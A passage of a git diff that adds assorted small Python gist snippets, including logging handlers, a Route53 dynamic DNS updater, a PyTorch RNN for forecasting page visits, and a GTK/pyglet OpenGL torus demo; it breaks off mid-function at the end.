+	def event_listener(self, e):
+		if e.msg_type == 'show_keyboard':
+			if self.kbd_visible == False:
+				self.kbd_visible = True
+				self.root_layer.add_layer(self.klayer)
+		elif e.msg_type == 'hide_keyboard':
+			if self.kbd_visible == True:
+				self.root_layer.remove_layer(self.klayer)
+				self.kbd_visible = False
+		elif e.msg_type == 'input_focus':
+			self.input_focus = e.obj
+			if self.kbd_visible == False:
+				self.kbd_visible = True
+				self.root_layer.add_layer(self.klayer)
+			self.klayer.direct_input = e.obj.txtbf.input_char
+	def draw(self):
+		# Update and draw our root layer. For a layer-based scene, this
+		# is usually all you have to do in the draw method.
+		background(0, 0, 0)
+		stroke(1,0,0)
+		stroke_weight(1)
+		self.root_layer.update(self.dt)
+		self.root_layer.draw()
+	def touch_began(self, touch):
+		self.touch_start = touch
+		self.touch_start_t = self.t
+	
+	def touch_moved(self, touch):
+		pass
+		
+	def touch_ended(self, touch):
+		if self.input_focus:
+
+			if touch.location in self.input_focus.frame or touch.location in self.klayer.frame:
+				pass
+			else:
+				self.input_focus.focus = False 
+				self.input_focus = None 
+				self.klayer.direct_input = None
+				if self.kbd_visible == True:
+					self.root_layer.remove_layer(self.klayer)
+					self.kbd_visible = False
+
+EventQ = Events()
+run(MyScene())
diff --git a/hard-gists/4125009/._snippet.py b/hard-gists/4125009/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4125009/._snippet.py differ
diff --git a/hard-gists/4125009/snippet.py b/hard-gists/4125009/snippet.py
new file mode 100644
index 00000000..a76b6c11
--- /dev/null
+++ b/hard-gists/4125009/snippet.py
@@ -0,0 +1,13 @@
+#!/usr/bin/env python
+
+import sys
+import appscript
+
+def main():
+    iterm_transparency = appscript.app('iTerm').current_terminal.current_session.transparency
+    iterm_transparency.set("0.9" if sys.argv[1] == '-' else "0.1")
+
+if __name__ == '__main__':
+    main()
+
+# vim: fileencoding=utf-8
\ No newline at end of file
diff --git a/hard-gists/4128591/._snippet.py b/hard-gists/4128591/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4128591/._snippet.py differ
diff --git a/hard-gists/4128591/snippet.py b/hard-gists/4128591/snippet.py
new file mode 100644
index 00000000..651b4666
--- /dev/null
+++ b/hard-gists/4128591/snippet.py
@@ -0,0 +1,11 @@
+from functools import lru_cache
+
+
+@lru_cache(maxsize=None)
+def fib(n):
+    if n < 2:
+        return n
+    return fib(n-1) + fib(n-2)
+
+
+fib(100)
\ No newline at end of file
diff --git a/hard-gists/4130c73434db79119f27/._snippet.py b/hard-gists/4130c73434db79119f27/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4130c73434db79119f27/._snippet.py differ
diff --git a/hard-gists/4130c73434db79119f27/snippet.py b/hard-gists/4130c73434db79119f27/snippet.py
new file mode 100644
index 00000000..0d15b88b
--- /dev/null
+++ b/hard-gists/4130c73434db79119f27/snippet.py
@@ -0,0 +1,32 @@
+import logging
+
+from googleapiclient.discovery import build
+from oauth2client.client import GoogleCredentials
+
+
+class CloudLoggingHandler(logging.Handler):
+    def __init__(self, project_id):
+        logging.Handler.__init__(self)
+        self.project_id = project_id
+        credentials = GoogleCredentials.get_application_default()
+        self.logging_api = build('logging', 'v2beta1', credentials=credentials)
+
+    def emit(self, record):
+        print(str(record))
+        self.logging_api.entries().write(
+                body={
+                    "entries": [
+                        {
+                            "severity": record.levelname,
+                            "jsonPayload": {
+                                "module": record.module,
+                                "message": record.getMessage()
+                            },
+                            "logName": "projects/" + self.project_id + "/logs/" + record.name,
+                            "resource": {
+                                "type": "global",
+                            }
+                        }
+                    ]
+                }
+        ).execute()
diff --git a/hard-gists/4131398/._snippet.py b/hard-gists/4131398/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4131398/._snippet.py differ
diff --git a/hard-gists/4131398/snippet.py b/hard-gists/4131398/snippet.py
new file mode 100644
index 00000000..3dc86255
--- /dev/null
+++ b/hard-gists/4131398/snippet.py
@@ -0,0 +1,7 @@
+from IPython.core.display import Image as image
+from PIL import Image
+
+def save_and_display(arr, fname):
+    pilimg = Image.fromarray(arr)
+    pilimg.save(fname)
+    return image(filename=fname, width=600)
\ No newline at end of file
diff --git a/hard-gists/4132799/._snippet.py b/hard-gists/4132799/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4132799/._snippet.py differ
diff --git a/hard-gists/4132799/snippet.py b/hard-gists/4132799/snippet.py
new file mode 100644
index 00000000..dd68ac86
--- /dev/null
+++ b/hard-gists/4132799/snippet.py
@@ -0,0 +1,47 @@
+#covert an image in the clipboard to a 57x57 rgb icon and store base64 version of it into the clipboard.
+#if an image is not in the clipboard the base64 string 'b64str' will be loaded and displayed.
+#after running the 1st time replace the contents of b64str with the clipboard.
+
+from PIL import Image
+import clipboard
+from StringIO import *
+import base64
+
+b64str="""
+replace this with contents of clipboard after 1st run.
+"""
+
+def main():
+	global b64str
+	cpimage = clipboard.get_image()
+	#if image was in clipboard.
+	if cpimage:
+		#resize to icon size.
+		icon = cpimage.resize((57, 57), Image.BILINEAR)
+		#convert to rgb format.
+		icon = icon.convert('RGB')
+#		icon.show()	#show resized image.
+		#create string buffer to write png file to.
+		iconstr = StringIO()
+		#write image to string buffer in png format.
+		icon.save(iconstr, 'png')
+		#convert save buffer to base64.
+		b64str = base64.standard_b64encode(iconstr.getvalue())
+		#put base64 string in clipboard.
+		clipboard.set(b64str)
+	
+	#now decode to test.	
+	mystr = base64.standard_b64decode(b64str)
+	#read file from string buffer.
+	stb = StringIO(mystr)
+	img = Image.open(stb)
+	#show the image.
+	img.show()
+	#print some info.
+	print str(img.format)
+	print str(img.mode)
+	print str(img.size)
+	print str(img.info)
+	
+if __name__ == '__main__':
+	main()
diff --git a/hard-gists/4133c66ccf65c0ba1f5f5a5bc4fb7298/._snippet.py b/hard-gists/4133c66ccf65c0ba1f5f5a5bc4fb7298/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4133c66ccf65c0ba1f5f5a5bc4fb7298/._snippet.py differ
diff --git a/hard-gists/4133c66ccf65c0ba1f5f5a5bc4fb7298/snippet.py b/hard-gists/4133c66ccf65c0ba1f5f5a5bc4fb7298/snippet.py
new file mode 100644
index 00000000..041a5590
--- /dev/null
+++ b/hard-gists/4133c66ccf65c0ba1f5f5a5bc4fb7298/snippet.py
@@ -0,0 +1,230 @@
+import torch
+import torch.nn as nn
+from torch.autograd import Variable
+import numpy as np
+import torch.utils.data as data_utils
+import pandas as pd
+import os
+from sklearn.preprocessing import MinMaxScaler
+from sklearn.model_selection import train_test_split
+import pickle as pkl
+
+torch.manual_seed(1)  # reproducible
+torch.cuda.set_device(1)
+
+
+batch_size = 1000
+seq_len = 1
+out_size = 1
+pred_date_len = 60
+
+#Importing dataset
+if os.path.exists('../../data/train_1.hdf'):
+    pass
+else:
+    print('reading train_1.csv ...')
+    train = pd.read_csv('../../data/train_1.csv').fillna(0) #145063*551
+    print(train.columns)
+    page = train['Page']
+    train.head()
+    #Dropping Page Column
+    X = train.drop('Page',axis = 1)
+    Y = X['2016-12-31'].values
+    X = X.values
+    shape = X.shape
+    print("X",shape)
+
+print('scale data now...')
+sc = MinMaxScaler()
+X = np.reshape(sc.fit_transform(np.reshape(X,(-1,1))), shape)
+Y = np.reshape(sc.fit_transform(np.reshape(Y,(-1,1))), -1)
+print('done.')
+
+
+#trian and test split
+X_train, X_test, Y_train, Y_test = train_test_split(X, Y, test_size=0.05)
+print('Train size:',X_train.shape,'Test size:',X_test.shape)
+
+trainDB=data_utils.TensorDataset(torch.from_numpy(X_train).float().unsqueeze(2),\
+                                torch.from_numpy(Y_train).float().unsqueeze(1))
+trainloader=data_utils.DataLoader(trainDB,batch_size=batch_size,shuffle=True)
+testDB=data_utils.TensorDataset(torch.from_numpy(X_test).float().unsqueeze(2),\
+                                torch.from_numpy(Y_test).float().unsqueeze(1))
+testloader=data_utils.DataLoader(testDB,batch_size=batch_size,shuffle=True)
+testdataiter=iter(testloader)
+
+class RNN(nn.Module):
+    def __init__(self):
+        super(RNN, self).__init__()
+
+        self.hidden_units = 128
+        self.model = nn.Sequential()
+
+        self.rnn = nn.RNN(
+            input_size=seq_len,
+            hidden_size=self.hidden_units,  # rnn hidden unit
+            num_layers=2,  # number of rnn layer
+            batch_first=True, # input & output will has batch size as 1st dimension. e.g. (batch, time_step, input_size)
+            nonlinearity='relu',
+            dropout=0.2
+        )
+        self.out = nn.Linear(self.hidden_units, 1)
+
+    def forward(self, x, h_state):
+        # x (batch, time_step, input_size)
+        # h_state (n_layers, batch, hidden_size)
+        # r_out (batch, time_step, hidden_size)
+        r_out, h_state = self.rnn(x, h_state)
+
+        outs = []  # save all predictions
+        for time_step in range(r_out.size(1)):  # calculate output for each time step
+            outs.append(self.out(r_out[:, time_step, :]))
+        return torch.stack(outs, dim=1)[:,-1,:], h_state
+
+        # instead, for simplicity, you can replace above codes by follows
+        # r_out = r_out.view(-1, 32)
+        # outs = self.out(r_out)
+        # return outs, h_state
+
+
+
+def predict():
+    rnn = torch.load('rnn.mdl')
+    h_state = pkl.load(open('h_state','rb'))
+
+    trainDB = data_utils.TensorDataset(torch.from_numpy(X).float().unsqueeze(2), \
+                                       torch.from_numpy(Y).float().unsqueeze(1))
+    trainloader = data_utils.DataLoader(trainDB, batch_size=batch_size, shuffle=False)
+
+    dataiter = iter(trainloader)
+    x_all, _ = dataiter.next()
+    y_all = torch.FloatTensor().cuda()
+    while x_all.size(0) == batch_size:
+        x = Variable(x_all).cuda()
+
+        prediction, h_state = rnn(x, h_state)  # rnn output
+        h_state = Variable(h_state.data)
+        y_all = torch.cat((y_all,prediction.data),dim=0)
+        x_all, _ = dataiter.next()
+    print('last x_all size:',x_all.size())
+
+    x = Variable(torch.cat( (x_all, torch.zeros((batch_size-x_all.size(0),x_all.size(1),1)) )
+                   ,dim=0)
+                 ).cuda()
+    prediction, h_state = rnn(x, h_state)  # rnn output
+    h_state = Variable(h_state.data)
+    y_all = torch.cat((y_all,prediction.data[:x_all.size(0)]),dim=0)
+    y_all = torch.squeeze(y_all,dim=1).cpu().numpy()
+    print('sc before:',y_all)
+    y_all = sc.inverse_transform(y_all)
+    print('total y_all size:',len(y_all))
+    print('sc after:',y_all)
+
+    return y_all
+
+
+def submit(y_all):
+    key_1 = pd.read_csv('../../data/key_1.csv')
+    ss_1 = pd.read_csv('../../data/sample_submission_1.csv')
+
+    sub = pd.read_csv("../../data/key_1.csv", converters={'Page': lambda p: p[:-11]}, index_col='Page')\
+        .join(pd.Series(y_all).to_frame(name='Visits'), how='left').fillna(0)
+    print(sub)
+    sub.to_csv('sub.csv', float_format='%.0f', index=False)
+    return
+
+    ids = key_1.Id.values
+    pages = key_1.Page.values
+
+    d_pages = {}
+    for id, page in zip(ids, pages):
+        d_pages[id] = page[:-11]
+
+    d_visits = {}
+    for page, visits_number in zip(pages, y_all):
+        d_visits[page] = visits_number
+    print(len(d_visits))
+
+    print('Modifying sample submission...')
+    ss_ids = ss_1.Id.values
+    ss_visits = ss_1.Visits.values
+
+    for i, ss_id in enumerate(ss_ids):
+        try:
+            ss_visits[i] = d_visits[d_pages[ss_id]]
+        except KeyError as err:
+            print('err:',i,ss_id)
+            return
+
+    print('Saving submission...')
+    subm = pd.DataFrame({'Id': ss_ids, 'Visits': ss_visits})
+    subm.to_csv('../../data/submission.csv', index=False)
+    print('done.')
+
+def evaluate(rnn, h_state):
+    total_error=0
+    dataiter = iter(testloader)
+    x_all, _ = dataiter.next()
+    counter = 0
+    loss_func = nn.MSELoss()
+    while x_all.size(0) == batch_size:
+        pos = np.random.randint(pred_date_len, x_all.size(1) - pred_date_len)
+        # print('pos:',pos,x_all.size())
+        x = Variable(x_all[:, :pos, :]).cuda()
+        y = Variable(x_all[:, pos:pos + pred_date_len, :]).cuda()
+        y = y.view(batch_size, pred_date_len)
+        y = y.sum(dim=1)
+        # print(x, y)
+
+        prediction,_ = rnn.forward(x,h_state)
+        error = loss_func(prediction, y)
+        total_error += error.data[0]
+
+        x_all, _ = dataiter.next()
+        counter+=1
+    print('total error:',total_error)
+
+def train():
+    rnn = RNN().cuda()
+    print(rnn)
+    optimizer = torch.optim.Adam(rnn.parameters(), lr=1e-3)   # optimize all cnn parameters
+    loss_func = nn.MSELoss()
+    h_state = None      # for initial hidden state
+
+    dataiter=iter(trainloader)
+    for step in range(200):
+        x_all, _ = dataiter.next()
+        if x_all.size(0)<batch_size:
+            dataiter = iter(trainloader)
+            x_all, _ = dataiter.next()
+        pos=np.random.randint(pred_date_len,x_all.size(1)-pred_date_len)
+        # print('pos:',pos,x_all.size())
+        x=Variable(x_all[:,:pos,:]).cuda()
+        y=Variable(x_all[:,pos:pos+pred_date_len,:]).cuda()
+        y=y.view(batch_size,pred_date_len)
+        y=y.sum(dim=1)
+        # print(x, y)
+
+        prediction, h_state = rnn(x, h_state)   # rnn output
+        # !! next step is important !!
+        h_state = Variable(h_state.data)        # repack the hidden state, break the connection from last iteration
+
+        loss = loss_func(prediction, y)         # cross entropy loss
+        optimizer.zero_grad()                   # clear gradients for this training step
+        loss.backward()                         # backpropagation, compute gradients
+        print(step,loss.data[0])
+        optimizer.step()                        # apply gradients
+
+        # if step%10==0:
+        #     evaluate(rnn,h_state)
+
+    torch.save(rnn,'rnn.mdl')
+    pkl.dump(h_state,open('h_state','wb'))
+    print('saved rnn.mdl and h_state.')
+
+if __name__=='__main__':
+    #uncommnet the following code to predict
+    #y_all = predict()
+    #submit(y_all)
+    #uncomment the following code to train
+    train()
\ No newline at end of file
diff --git a/hard-gists/4134185/._snippet.py b/hard-gists/4134185/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4134185/._snippet.py differ
diff --git a/hard-gists/4134185/snippet.py b/hard-gists/4134185/snippet.py
new file mode 100644
index 00000000..e71fa08f
--- /dev/null
+++ b/hard-gists/4134185/snippet.py
@@ -0,0 +1,22 @@
+from logging.handlers import SMTPHandler
+from boto.ses.connection import SESConnection
+from auth import AWS_ACCESS_KEY,AWS_SECRET_ACCESS_KEY
+
+class SESHandler(SMTPHandler):
+	""" Send's an email using BOTO SES.
+	"""
+	def emit(self,record):
+		conn = SESConnection(AWS_ACCESS_KEY,AWS_SECRET_ACCESS_KEY)
+		conn.send_email(self.fromaddr,self.subject,self.format(record),self.toaddrs)
+
+if __name__ == "__main__":
+	#Test
+	import logging
+	logger = logging.getLogger()
+	mail_handler = SESHandler(mailhost="",fromaddr='<yourserveremail eg: no-reply-server@..>',toaddrs="<youremail>", subject='Production Error')
+	mail_handler.setLevel(logging.ERROR)
+	logger.addHandler(mail_handler)
+	try:
+		1/0 #Love me a divide by zero.
+	except:
+		logger.exception("FFFFFFFFFFFFFFFFFFFFFFFUUUUUUUUUUUUUUUUUUUUUU")
\ No newline at end of file
diff --git a/hard-gists/4142563/._snippet.py b/hard-gists/4142563/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4142563/._snippet.py differ
diff --git a/hard-gists/4142563/snippet.py b/hard-gists/4142563/snippet.py
new file mode 100644
index 00000000..045aeb86
--- /dev/null
+++ b/hard-gists/4142563/snippet.py
@@ -0,0 +1,107 @@
+"""
+ Requeriments:
+
+     $ sudo pip install boto dnspython
+
+ Edit ~/.boto to use your AWS credentials
+
+"""
+import time
+import sys
+import urllib2
+import dns.resolver
+from boto.route53.connection import Route53Connection
+from boto.route53.exception import DNSServerError
+from boto.route53.record import ResourceRecordSets
+import logging
+
+logger = logging.getLogger(__name__)
+handler = logging.FileHandler('dyndns_route53.log')
+formatter = logging.Formatter('%(asctime)s %(levelname)s %(message)s')
+handler.setFormatter(formatter)
+logger.addHandler(handler) 
+logger.setLevel(logging.INFO)
+
+# Settings, Change me!
+HOSTED_ZONE = 'ZXQU10000001'
+DOMAIN_NAME = 'home.mydomain.com'
+
+
+get_change_id = lambda response: response['ChangeInfo']['Id'].split('/')[-1]
+get_change_status = lambda response: response['ChangeInfo']['Status']
+
+def resolve_name_ip(name):
+    resolver = dns.resolver.Resolver()
+    resolver.nameservers = [
+        '8.8.8.8',
+        '8.8.4.4'
+    ]
+    answer = resolver.query(name)
+    
+    """
+    >>> answer.response.answer[0].to_text()
+    home.mydomain.com. 60 IN A 192.168.0.2'
+    >>> answer.response.answer[0].items
+    [<DNS IN A rdata: 192.168.0.2>]
+    >>> answer.response.answer[0].items[0].address
+    '192.168.0.2'
+    """
+    return answer.response.answer[0].items[0].address
+    
+def main():
+    
+    # Get your ip using a public service
+    current_ip = urllib2.urlopen('http://ip.42.pl/raw').read()
+
+    # Avoid to hit the Route53 API if is not necessary.
+    # so compare first to a DNS server if the IP changed
+    resolved_ip = resolve_name_ip(DOMAIN_NAME)
+    if resolved_ip == current_ip:
+        logger.debug('DNS response (%s) and public IP (%s) are the same, nothing to do' % (resolved_ip, current_ip))
+        return
+    
+    conn = Route53Connection()
+
+    try:
+        zone = conn.get_hosted_zone(HOSTED_ZONE)
+    except DNSServerError:
+        logger.error('%s Zone Not Found' % HOSTED_ZONE)
+        sys.exit(1)
+
+    response = conn.get_all_rrsets(HOSTED_ZONE, 'A', DOMAIN_NAME, maxitems=1)[0]
+    
+    if current_ip not in response.resource_records:
+        logger.info('Found new IP: %s' % current_ip)
+
+        # Delete the old record, and create a new one.
+        # This code is from route53.py script, the change record command
+        changes = ResourceRecordSets(conn, HOSTED_ZONE, '')
+        change1 = changes.add_change("DELETE", DOMAIN_NAME, 'A', response.ttl)
+        for old_value in response.resource_records:
+            change1.add_value(old_value)
+        change2 = changes.add_change("CREATE", DOMAIN_NAME, 'A', response.ttl)
+        change2.add_value(current_ip)
+
+        try:
+            commit = changes.commit()
+            logger.debug('%s' % commit)
+        except:
+            logger.error("Changes can't be made: %s" % commit)
+            sys.exit(1)
+        else:
+            
+            change = conn.get_change(get_change_id(commit['ChangeResourceRecordSetsResponse']))
+            logger.debug('%s' % change)
+
+            while get_change_status(change['GetChangeResponse']) == 'PENDING':
+                time.sleep(2)
+                change = conn.get_change(get_change_id(change['GetChangeResponse']))
+                logger.debug('%s' % change)                
+            if get_change_status(change['GetChangeResponse']) == 'INSYNC':
+                logger.info('Change %s A de %s -> %s' % (DOMAIN_NAME, response.resource_records[0], current_ip))
+            else:
+                logger.warning('Unknow status for the change: %s' % change)
+                logger.debug('%s' % change)
+
+if __name__ == '__main__':
+    main()
diff --git a/hard-gists/4145581/._snippet.py b/hard-gists/4145581/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4145581/._snippet.py differ
diff --git a/hard-gists/4145581/snippet.py b/hard-gists/4145581/snippet.py
new file mode 100644
index 00000000..b9007a0f
--- /dev/null
+++ b/hard-gists/4145581/snippet.py
@@ -0,0 +1,22 @@
+# from the whiskey engine example
+
+# uses the Sharrock RPC client (https://github.com/Axilent/sharrock).  Created by us, but open source, not specific to the Axilent API.
+from sharrock.client import HttpClient, ResourceClient
+
+# some things in the API are modeled as RESTful resources and use the ResourceClient, others are straight RPC and use the HttpClient
+axl = HttpClient('%s/api' % settings.AXILENT_ENDPOINT,'axilent.content','beta3',auth_user=settings.AXILENT_API_KEY)
+content_resource = ResourceClient('%s/api/resource' % settings.AXILENT_ENDPOINT,'axilent.content','beta3','content',auth_user=settings.AXILENT_API_KEY)
+
+# Featured Whiskey
+featured_whiskey = None
+if whiskey_slug:
+    # In this case the name of the whiskey has been specified
+    featured_whiskey = axl.getcontentbyuniquefield(content_type='Whiskey',field_name='slug',field_value=whiskey_slug)
+else:
+    # In this case we're pulling from a content channel - it's set to random, but can be changed in Axilent at any time
+    # without any reprogramming here.
+    featured_whiskey = axl.contentchannel(channel='random-whiskey')['default'][0]['content']
+
+
+# Search
+results = axl.search(content_types='Whiskey',query=request.GET['q']) # 'q' is the query
\ No newline at end of file
diff --git a/hard-gists/4149031/._snippet.py b/hard-gists/4149031/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4149031/._snippet.py differ
diff --git a/hard-gists/4149031/snippet.py b/hard-gists/4149031/snippet.py
new file mode 100644
index 00000000..2668f795
--- /dev/null
+++ b/hard-gists/4149031/snippet.py
@@ -0,0 +1,353 @@
+#!/usr/bin/python
+
+import sys
+import time
+import math
+
+import gtk
+import gobject
+import pyglet
+import pyglet.gl as gl
+
+
+if sys.platform in ('win32', 'cygwin'):
+    from pyglet.window.win32 import _user32
+    from pyglet.gl import wgl
+elif sys.platform == 'linux2':
+    from pyglet.gl import glx
+
+
+class GlDrawingArea(gtk.DrawingArea):
+    config = None
+    context = None
+
+    def __init__(self, navigation=True):
+        gtk.DrawingArea.__init__(self)
+        self.gl_initialized = False
+        self.set_double_buffered(False)
+
+        self.connect('show', self.on_show)
+        self.connect('hide', self.on_hide)
+        self.connect('expose-event', self.on_expose)
+        self.connect('configure-event', self.on_configure)
+
+        if navigation:
+            self.connect('motion_notify_event', self.on_motion_notify)
+            self.connect('button_press_event', self.on_button_press)
+            self.connect('scroll-event', self.on_mouse_scroll)
+
+            self.add_events(gtk.gdk.BUTTON_PRESS_MASK |
+                            gtk.gdk.POINTER_MOTION_MASK |
+                            gtk.gdk.POINTER_MOTION_HINT_MASK |
+                            gtk.gdk.SCROLL_MASK)
+
+    def on_show(self, wid):
+        self.get_config()
+
+    def on_hide(self, wid):
+        self.gl_initialized = False
+        self.context = None
+        self.config = None
+
+    def get_config(self):
+        if not self.config:
+            platform = pyglet.window.get_platform()
+            display = platform.get_default_display()
+            self.screen = display.get_screens()[0]
+
+            for template_config in [
+                gl.Config(double_buffer=True, depth_size=32),
+                gl.Config(double_buffer=True, depth_size=24),
+                gl.Config(double_buffer=True, depth_size=16)]:
+                try:
+                    self.config = self.screen.get_best_config(template_config)
+                    break
+                except pyglet.window.NoSuchConfigException:
+                    pass
+
+            if not self.config:
+                raise pyglet.window.NoSuchConfigException('No standard config '
+                                                          'is available.')
+
+            if not self.config.is_complete():
+                print 'not complete'
+                self.config = self.screen.get_best_config(self.config)
+
+            if not self.context:
+                cur_context = pyglet.gl.current_context
+                self.context = self.config.create_context(cur_context)
+
+    def switch_to(self):
+        if sys.platform == 'darwin':
+            gl.agl.aglSetCurrentContext(self._agl_context)
+            gl._aglcheck()
+        elif sys.platform in ('win32', 'cygwin'):
+            self._dc = _user32.GetDC(self.window.handle)
+            self.context._set_window(self)
+            wgl.wglMakeCurrent(self._dc, self.context._context)
+        else:
+            glx.glXMakeCurrent(self.config._display, self.window.xid,
+                               self.context._context)
+        self.context.set_current()
+        gl.gl_info.set_active_context()
+        gl.glu_info.set_active_context()
+
+    def flip(self):
+        if sys.platform == 'darwin':
+            gl.agl.aglSwapBuffers(self._agl_context)
+            gl._aglcheck()
+        elif sys.platform in ('win32', 'cygwin'):
+            wgl.wglSwapLayerBuffers(self._dc, wgl.WGL_SWAP_MAIN_PLANE)
+        else:
+            glx.glXSwapBuffers(self.config._display, self.window.xid)
+
+    def on_configure(self, wid, event):
+        if not self.context:
+            return
+
+        width = wid.allocation.width
+        height = wid.allocation.height
+        if width > 1:
+            # make the context current
+            # and setup opengl
+            #
+            # **** this only can be with the window realized ****
+            #
+            self.switch_to()
+            if not self.gl_initialized:
+                self.setup()
+                self.gl_initialized = 1
+            gl.glViewport(0, 0, width, height)
+
+    def on_expose(self, wid, event):
+        width = wid.allocation.width
+        height = wid.allocation.height
+        self.display(width, height)
+
+        if self.config.double_buffer:
+            self.flip()
+        else:
+            gl.glFlush()
+        return 0
+
+    def navigate(self, state, dx, dy):
+        if state & gtk.gdk.BUTTON1_MASK:
+            # pan
+            self.trans[0] -= dx / 100.0
+            self.trans[1] += dy / 100.0
+        elif state & gtk.gdk.BUTTON2_MASK:
+            # zoom
+            self.trans[2] += (dx + dy) / 100.0
+        elif state & gtk.gdk.BUTTON3_MASK:
+            # rotate
+            self.rot[0] -= ((dy * 180.0) / 500.0) % 360
+            self.rot[1] -= ((dx * 180.0) / 500.0) % 360
+
+        self.queue_draw()
+
+    def on_button_press(self, widget, event):
+        self.old_x, self.old_y = event.x, event.y
+        return True
+
+    def on_motion_notify(self, widget, event):
+        if event.is_hint:
+            x, y, state = event.window.get_pointer()
+        else:
+            x = event.x
+            y = event.y
+            state = event.state
+
+        if not (state & (gtk.gdk.BUTTON1_MASK | gtk.gdk.BUTTON2_MASK |
+                         gtk.gdk.BUTTON3_MASK)):
+            return True
+
+        dx = self.old_x - x
+        dy = self.old_y - y
+        self.old_x, self.old_y = x, y
+
+        self.navigate(state, dx, dy)
+        return True
+
+    def on_mouse_scroll(self, widget, event):
+        if event.direction == gtk.gdk.SCROLL_UP:
+            self.navigate(gtk.gdk.BUTTON2_MASK, 50, 0)
+        elif event.direction == gtk.gdk.SCROLL_DOWN:
+            self.navigate(gtk.gdk.BUTTON2_MASK, -50, 0)
+
+    def setup(self):
+        pass
+
+    def display(self, width, height):
+        pass
+
+
+class Torus(object):
+    def __init__(self, radius, inner_radius, slices, inner_slices):
+        # Create the vertex and normal arrays.
+        vertices = []
+        normals = []
+
+        u_step = 2 * math.pi / (slices - 1)
+        v_step = 2 * math.pi / (inner_slices - 1)
+        u = 0.
+        for i in range(slices):
+            cos_u = math.cos(u)
+            sin_u = math.sin(u)
+            v = 0.
+            for j in range(inner_slices):
+                cos_v = math.cos(v)
+                sin_v = math.sin(v)
+
+                d = (radius + inner_radius * cos_v)
+                x = d * cos_u
+                y = d * sin_u
+                z = inner_radius * sin_v
+
+                nx = cos_u * cos_v
+                ny = sin_u * cos_v
+                nz = sin_v
+
+                vertices.extend([x, y, z])
+                normals.extend([nx, ny, nz])
+                v += v_step
+            u += u_step
+
+        # Create ctypes arrays of the lists
+        vertices = (gl.GLfloat * len(vertices))(*vertices)
+        normals = (gl.GLfloat * len(normals))(*normals)
+
+        # Create a list of triangle indices.
+        indices = []
+        for i in range(slices - 1):
+            for j in range(inner_slices - 1):
+                p = i * inner_slices + j
+                indices.extend([p, p + inner_slices, p + inner_slices + 1])
+                indices.extend([p,    p + inner_slices + 1, p + 1])
+        indices = (gl.GLuint * len(indices))(*indices)
+
+        # Compile a display list
+        self.list = gl.glGenLists(1)
+        gl.glNewList(self.list, gl.GL_COMPILE)
+
+        gl.glPushClientAttrib(gl.GL_CLIENT_VERTEX_ARRAY_BIT)
+        gl.glEnableClientState(gl.GL_VERTEX_ARRAY)
+        gl.glEnableClientState(gl.GL_NORMAL_ARRAY)
+        gl.glVertexPointer(3, gl.GL_FLOAT, 0, vertices)
+        gl.glNormalPointer(gl.GL_FLOAT, 0, normals)
+        gl.glDrawElements(gl.GL_TRIANGLES, len(indices), gl.GL_UNSIGNED_INT,
+                          indices)
+        gl.glPopClientAttrib()
+
+        gl.glEndList()
+
+    def draw(self):
+        gl.glCallList(self.list)
+
+
+class TorusExample(GlDrawingArea):
+    def __init__(self, animated=True):
+        super(TorusExample, self).__init__()
+
+        self.torus = Torus(1, 0.3, 50, 30)
+        self.rx = self.ry = self.rz = 0
+        self.dt = 0.01
+
+        self.trans = [0, 0, -4]
+        self.rot = [0, 0]
+        self.old_x = self.old_y = None
+        self.animated = animated
+
+    def on_show(self, wid):
+        super(TorusExample, self).on_show(wid)
+        self.handler_to = gobject.timeout_add(20, self.timeout)
+
+    def on_hide(self, wid):
+        gobject.source_remove(self.handler_to)
+        super(TorusExample, self).on_hide(wid)
+
+    def setup(self):
+        # One-time GL setup
+        gl.glClearColor(1, 1, 1, 0)
+        gl.glColor3f(1, 0, 0)
+        gl.glEnable(gl.GL_DEPTH_TEST)
+        gl.glEnable(gl.GL_CULL_FACE)
+
+        # Uncomment this line for a wireframe view
+        #glPolygonMode(GL_FRONT_AND_BACK, GL_LINE)
+
+        # Simple light setup.    On Windows GL_LIGHT0 is enabled by default,
+        # but this is not the case on Linux or Mac, so remember to always
+        # include it.
+        gl.glEnable(gl.GL_LIGHTING)
+        gl.glEnable(gl.GL_LIGHT0)
+        gl.glEnable(gl.GL_LIGHT1)
+
+        # Define a simple function to create ctypes arrays of floats:
+        def vec(*args):
+            return (gl.GLfloat * len(args))(*args)
+
+        gl.glLightfv(gl.GL_LIGHT0, gl.GL_POSITION, vec(.5, .5, 1, 0))
+        gl.glLightfv(gl.GL_LIGHT0, gl.GL_SPECULAR, vec(.5, .5, 1, 1))
+        gl.glLightfv(gl.GL_LIGHT0, gl.GL_DIFFUSE, vec(1, 1, 1, 1))
+        gl.glLightfv(gl.GL_LIGHT1, gl.GL_POSITION, vec(1, 0, .5, 0))
+        gl.glLightfv(gl.GL_LIGHT1, gl.GL_DIFFUSE, vec(.5, .5, .5, 1))
+        gl.glLightfv(gl.GL_LIGHT1, gl.GL_SPECULAR, vec(1, 1, 1, 1))
+
+        gl.glMaterialfv(gl.GL_FRONT_AND_BACK, gl.GL_AMBIENT_AND_DIFFUSE,
+                        vec(0.5, 0, 0.3, 1))
+        gl.glMaterialfv(gl.GL_FRONT_AND_BACK, gl.GL_SPECULAR, vec(1, 1, 1, 1))
+        gl.glMaterialf(gl.GL_FRONT_AND_BACK, gl.GL_SHININESS, 50)
+
+        if sys.platform in ('win32', 'cygwin'):
+            font = 'Arial'
+        else:
+            font = 'DejaVu Sans Mono'
+
+        self.lowerlabel = pyglet.text.Label('Hello, world', font_size=14,
+                                            font_name=font, x=5, y=20,
+                                            color=(0, 0, 0, 255))
+        self.upperlabel = pyglet.text.Label('Hello, world', font_size=14,
+                                            font_name=font, x=20, y=20,
+                                            color=(0, 0, 0, 255))
+
+    def display(self, width, height):
